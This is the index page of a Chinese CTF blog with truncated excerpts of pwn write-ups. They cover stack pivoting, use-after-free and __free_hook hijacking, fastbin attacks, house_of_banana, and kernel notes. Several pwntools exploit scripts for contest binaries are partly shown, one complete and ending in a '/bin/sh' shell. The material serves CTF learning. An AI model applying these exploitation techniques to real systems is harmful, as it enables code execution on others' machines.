avatar
文章
34
标签
55
分类
1

Home
Archives
Tags
Categories
Link
About
Blog of cat03
搜索
Home
Archives
Tags
Categories
Link
About

Blog of cat03

长安战役 PWN
发表于2022-01-09
大体说下,pwn1拿了一血,pwn2拿了第四,pwn3拿了二血。前些日子的抑郁,一直没勇气再做pwn题,等到恢复好了就直接搞kernel去了,这次比赛只是为了试验下自己。 pwn1 是2.23的stack overflow,但是sp指针的切换方式不太一样 12345678910111213141516.text:0804859E mov ecx, [ebp+var_4].text:080485A1 leave.text:080485A2 lea esp, [ecx-4].text:080485A5 retn.text:080485A5 ; } // starts at 8048559/*leave :mov esp,ebppop ebp栈迁移有时用到它ret :pop rip*/ 实际没必要研究具体的切换方式,使用padding溢出,看最终esp和padding中字符串有啥关系,再相应调整padding。 123456789 ...
C++ Pwn
发表于2022-01-09
长安战役-pwn4 明显的UAF,思路就是劫持__free_hook 现在还没有了析c++的内存管理,从做题的过程来说,在new分配时不止会malloc一次,类似采用了某种数据结构,chunk的某一部分需要维持这种数据结构所以size没有那么准确。在delete时,也可能不只free一次。这应该说在malloc和free之上采用某种系统而形成了new和delete。 类似整体看,在new一个chunk之前,会先有一个较大的unsorted bin,每次分配从中切割一块。这使得泄露时就可先delete填满tcache之后,再次delete合并入unsorted_bin,之后在FD和BK域就可看到libc的地址。 漏洞点 123456789101112_DWORD *__fastcall del(info *this){ if ( this->key )//------------------------------------------- operator delete[](this->key);//----------------------- ...
kernel学习
发表于2021-12-18
收集信息 内核态与用户态是操作系统的两种运行级别,跟intel cpu没有必然的联系, intel cpu提供Ring0-Ring3三种级别的运行模式,Ring0级别最高,Ring3最低。Linux使用了Ring3级别运行用户态,Ring0作为 内核态,没有使用Ring1和Ring2。Ring3状态不能访问Ring0的地址空间,包括代码和数据。Linux进程的4GB地址空间,3G-4G部 分大家是共享的,是内核态的地址空间,这里存放在整个内核的代码和所有的内核模块,以及内核所维护的数据。用户运行一个程序,该程序所创建的进程开始是运 行在用户态的,如果要执行文件操作,网络数据发送等操作,必须通过write,send等系统调用,这些系统调用会调用内核中的代码来完成操作,这时,必 须切换到Ring0,然后进入3GB-4GB中的内核地址空间去执行这些代码完成操作,完成后,切换回Ring3,回到用户态。这样,用户态的程序就不能 随意操作内核地址空间,具有一定的安全保护作用。 12345$ uname -aLinux ubuntu 4.15.0-142-generic #146~16.04.1- ...
莲城杯pwn
发表于2021-10-15
这个我们队拿到了第四,当然也是并列第一,其中的pwn是我代为解出来的。说实话不太难,pwn也拿到血了。 free_free_free 利用unsorted bin的指针残留,爆破stdout,1/16的可能。 利用fastbin 错位先申请到stdout-0x43,后申请到malloc_hook-0x23。 利用realloc调节栈帧,one-gadget获取shell。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990#!/usr/bin/env pythonfrom pwn import *local = 0debug = 0binary = "./free_free_free"lib = "/lib/x86_64-linux-gnu/libc.s ...
鹤城杯pwn
发表于2021-10-10
共5题,当时没有参加,师傅给的附件自己做的,调休这两天课都是满的,只能找零碎的时间做。不过这也是第一次能把pwn自己做完。 littleof有个点就是最后使用system("/bin/sh");获取不成功,确实听说过这种情况,不过可以使用exevce来获取shell,我就直接用syscall来恶心它了; 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566#!/usr/bin/env pythonfrom pwn import *local = 1debug = 0binary = "./littleof"lib = "/lib/x86_64-linux-gnu/libc.so.6"elf = ELF(binary)context.log_level = "debug" if debug else "i ...
house_of_banana源码分析
发表于2021-10-04
House of banana 相较之与 house of orange,house of banana把攻击的焦点转向了ld。其更多地运用于条件极端的情况,如只能申请比较大的块,避开tcache,这时就可以运用这种机制 程序在执行完,或者直接执行exit();时,会进行些资源回收之类的活动,这次要攻击的就是这部分地fini-array,可以这里了解下它的基本知识。 以下的源码来源于glibc2.23 fini-arry中的函数是怎么执行的首先导入源码进行调试 123giles@ubuntu:~/Desktop/house_of_banana $ echo $ELF/home/giles/real_source/glibc-2.23/elfgiles@ubuntu:~/Desktop/house_of_banana $ gdb a.out -d $ELF 接着查看,fini_array的函数,打上断点 12345678910111213141516171819202122232425262728293031323334353637383940414243pwndbg> elfh ...
PWN 快速加载libc
发表于2021-10-02
这个是我自己写的,多少有点偷lemon师傅那个的嫌疑。主要逻辑就是通过shell的一些判断最后组合出那两句命令,好不好用我也不知道,后期有需要会把glibc-all-in-one与之结合,可能更方便些。 patchpwn - A shell script to replace libc of pwn binary in CTFAbstractThis simple shell script is based patchelf and glibc-all-in-one . So , using patchpwn , you need to ensure that you have install them and they are in normal use . UsageBefore specifying the libc version , you should download the libc via glibc-all-in-one, then edit this shell script and replace the LIBC_DIR variable to ada ...
长安杯 绿城杯 DASCTF Sept pwn部分
发表于2021-09-30
我累了,可能也有点xxxx了,我想把眼前的是事情放一放,自由地做些事情把。。。。。。。。。。。 长安杯 别怪我,就做出这一个,不过别人也没把其他的做出来问了师兄,题目来源于Nu1L,最后成绩20多名吧 baigei 算是逻辑上有问题,可以重置size 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687#!/usr/bin/env pythonfrom pwn import *binary = "./main"lib = "./libc-2.27.so"# p = process(binary)p = remote("113.201.14.253","")elf = ELF(binary)libc = ELF(lib)# co ...
长城杯2021pwn
发表于2021-09-20
第一题没学过那种方法,自己打exit_hook花了好久。第二题orw比较简单 K1ng_in_h3Ap_Iexp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586#!/usr/bin/env pythonfrom pwn import *binary = "./pwn"lib = "/lib/x86_64-linux-gnu/libc.so.6"p = process(binary)p = remote("47.104.175.110","20066")# flag{a3a6d84e-30b3-41ce-a6bc-158e2a975f73}elf = ELF(binary)libc = ELF(lib)# con ...
蓝帽杯PWN
发表于2021-09-17
Coverexp123456789#!/usr/bin/env pythonfrom pwn import *p = process("./pwn")raw_input()payload = p32(0x80484D6+1)payload += "\x30"p.send(payload)p.send("/bin/sh\x00")p.interactive() 本来是想改下一个read()函数的push 0xa,使其栈溢出,但是没达到目的. 之后就转向打plt表了,pus(ptr) -> system(ptr) hangman(绞死那个人)exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283#!/usr/bin/env pythonfrom pwn imp ...
1234
avatar
cat03
九层之台,起于累土。
文章
34
标签
55
分类
1
Follow Me
公告
This is my Blog
最新文章
羊城杯pwn4 - TRACE 沙箱逃逸2024-09-15
AI/ML漏洞调研2024-07-15
Changelog2024-05-05
NOTES2022-06-06
Kernel-xblob-Securinets CTF Quals 20222022-04-23
分类
  • pwn8
标签
TRACE 沙箱逃逸 2.23攻_IO_stdout queue message ret2csu 64位格式化字符串 vector类 seccomp pwn io ML kmalloc-256 plt表 house_of_orange c++ pwn timerfd_ctx exit_hook 随机数爆破 off_by_null 爆破模板 ssp leak 栈迁移 switch表修复 off by one kernel glibc源码 ORW stack overflow double_free fastbin kmalloc-xx kernel uaf 汇编 源码分析 hard race condition off by null kmalloc-64 Glibc2.31 ORW 32位pwn fastbin_double_free how2heap
归档
  • 九月 20241
  • 七月 20241
  • 五月 20241
  • 六月 20221
  • 四月 20222
  • 三月 20221
  • 一月 20225
  • 十二月 20211
网站资讯
文章数目 :
34
已运行时间 :
本站总字数 :
62.4k
最后更新时间 :
©2020 - 2024 By cat03
框架 Hexo|主题 Butterfly
搜索
数据库加载中